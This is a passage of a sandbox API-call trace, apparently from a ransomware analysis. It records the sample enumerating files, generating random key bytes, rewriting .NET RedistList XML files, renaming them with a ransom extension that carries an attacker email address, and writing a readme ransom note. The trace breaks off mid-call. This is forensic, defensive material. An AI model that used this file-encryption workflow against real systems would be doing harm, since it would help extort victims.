ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Data.Services.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.Data.Services.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Management.Instrumentation.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.Management.Instrumentation.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Net.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.Net.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.ServiceModel.Web.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.ServiceModel.Web.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Web.Abstractions.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.Web.Abstractions.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2=".") returned 1 [0051.985] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2="..") returned 1 [0051.985] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0051.985] wcscmp (_String1="System.Web.DynamicData.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.DynamicData.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Web.Entity.Design.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.Entity.Design.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Web.Entity.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.Entity.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Web.Extensions.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.Extensions.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Web.Routing.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Web.Routing.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0051.986] wcscmp (_String1="System.Windows.Presentation.dll", _String2=".") returned 1 [0051.986] wcscmp (_String1="System.Windows.Presentation.dll", _String2="..") returned 1 [0051.986] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0051.987] wcscmp (_String1="System.WorkflowServices.dll", _String2=".") returned 1 [0051.987] wcscmp (_String1="System.WorkflowServices.dll", _String2="..") returned 1 [0051.987] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0051.987] wcscmp (_String1="System.Xml.Linq.dll", _String2=".") returned 1 [0051.987] wcscmp (_String1="System.Xml.Linq.dll", _String2="..") returned 1 [0051.987] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0051.987] FindClose (in: hFindFile=0x409d68 | out: hFindFile=0x409d68) returned 1 [0051.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458bc0) returned 1 [0051.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e4b8) returned 1 [0051.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d538) returned 1 Thread: id = 407 os_tid = 0xd44 [0048.860] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml")) returned 0x20 [0048.860] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", dwFileAttributes=0x20) returned 1 [0055.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6a0 [0055.211] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x781f978 | out: lpFileSize=0x781f978*=15715) returned 1 [0055.211] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x3d5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.211] ReadFile (in: hFile=0x6a0, lpBuffer=0x781f8fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x781f8f8, lpOverlapped=0x0 | out: lpBuffer=0x781f8fc*, lpNumberOfBytesRead=0x781f8f8*=0x4, lpOverlapped=0x0) returned 1 [0055.213] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06f0 [0055.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0718 [0055.213] NtQuerySystemTime (in: CurrentTime=0x781f8d8 | out: CurrentTime=0x781f8d8*=132174898192008000) returned 0x0 [0055.213] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x73ada739 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0xb065acb [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x1ec78bda [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x5b52d977 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x689752d [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x723dee85 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x3acbcfef [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x358ef8ec [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x53e66738 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x42cf032 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x7903165a [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x536ca82d [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x7ab21f76 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x3a693daa [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x1d2104eb [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x3d0fc029 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x712e0725 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0xb9ad374 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x58d3e3ce [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x53782705 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x5ee99427 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x1f6ce0ff [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x4bcfea13 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x46c88eaf [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x2c6d92fe [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x25b4314d [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x45ccc707 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x39b301f2 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x716aafac [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x204a02a8 [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x770d28ba [0055.214] RtlRandomEx (in: Seed=0x781f8e4 | out: Seed=0x781f8e4) returned 0x2f842d0a [0055.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c10 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07e0 [0055.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c10) returned 1 [0055.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0718) returned 1 [0055.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44baf0 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c10 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d48188 [0055.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d54990 [0055.233] ReadFile (in: hFile=0x6a0, lpBuffer=0x12d48188, nNumberOfBytesToRead=0x3d63, lpNumberOfBytesRead=0x781f8d4, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesRead=0x781f8d4*=0x3d63, lpOverlapped=0x0) returned 1 [0055.234] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.235] WriteFile (in: hFile=0x6a0, lpBuffer=0x12d54990*, nNumberOfBytesToWrite=0x3d63, lpNumberOfBytesWritten=0x781f8d0, lpOverlapped=0x0 | out: lpBuffer=0x12d54990*, lpNumberOfBytesWritten=0x781f8d0*=0x3d63, lpOverlapped=0x0) returned 1 [0058.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00b0 [0058.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0058.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0058.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d54990) returned 1 [0058.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d48188) returned 1 [0058.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c10) returned 1 [0058.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0058.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3f) returned 0x44baf0 [0058.982] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.982] WriteFile (in: hFile=0x6a0, lpBuffer=0x12d7a2f8*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x781f938, lpOverlapped=0x0 | out: lpBuffer=0x12d7a2f8*, lpNumberOfBytesWritten=0x781f938*=0x123, lpOverlapped=0x0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a2f8) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bee0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00b0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06f0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07e0) returned 1 [0061.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x424230 [0061.564] wcscpy (in: _Dest=0x424230, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0061.564] wcscat (in: _Dest=0x424230, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.mailto[2Hamlampampom@cock.li].cd46d" [0061.564] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x781f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf2) returned 0x41c0b8 [0061.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0061.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.570] NtQueryInformationFile (in: FileHandle=0x6a0, IoStatusBlock=0x781f8fc, FileInformation=0x781f8d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x781f8fc, FileInformation=0x781f8d4) returned 0x0 [0061.570] NtSetInformationFile (FileHandle=0x6a0, IoStatusBlock=0x781f8fc, FileInformation=0x781f8d4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.572] FlushFileBuffers (hFile=0x6a0) returned 1 [0062.199] CloseHandle (hObject=0x6a0) returned 1 [0062.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a708 [0062.666] wcscpy (in: _Dest=0x12e2a708, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0062.666] wcscat (in: _Dest=0x12e2a708, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\CD46D-Readme.txt" [0062.666] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\cd46d-readme.txt")) returned 0xffffffff [0062.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf54 [0062.906] WriteFile (in: hFile=0xf54, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x781f8f8, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x781f8f8*=0x6fd, lpOverlapped=0x0) returned 1 [0062.993] CloseHandle (hObject=0xf54) returned 1 [0062.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a708) returned 1 [0062.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41beb8) returned 1 Thread: id = 408 os_tid = 0xd48 [0048.861] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml")) returned 0x20 [0049.196] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", dwFileAttributes=0x20) returned 1 [0060.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f4 [0060.708] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x950f8b8 | out: lpFileSize=0x950f8b8*=8220) returned 1 [0060.708] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x2018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.708] ReadFile (in: hFile=0x8f4, lpBuffer=0x950f83c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x950f838, lpOverlapped=0x0 | out: lpBuffer=0x950f83c*, lpNumberOfBytesRead=0x950f838*=0x4, lpOverlapped=0x0) returned 1 [0060.710] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436250 [0060.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4362c8 [0060.710] NtQuerySystemTime (in: CurrentTime=0x950f818 | out: CurrentTime=0x950f818*=132174898246920000) returned 0x0 [0060.710] RtlRandomEx (in: Seed=0x950f824 | out: 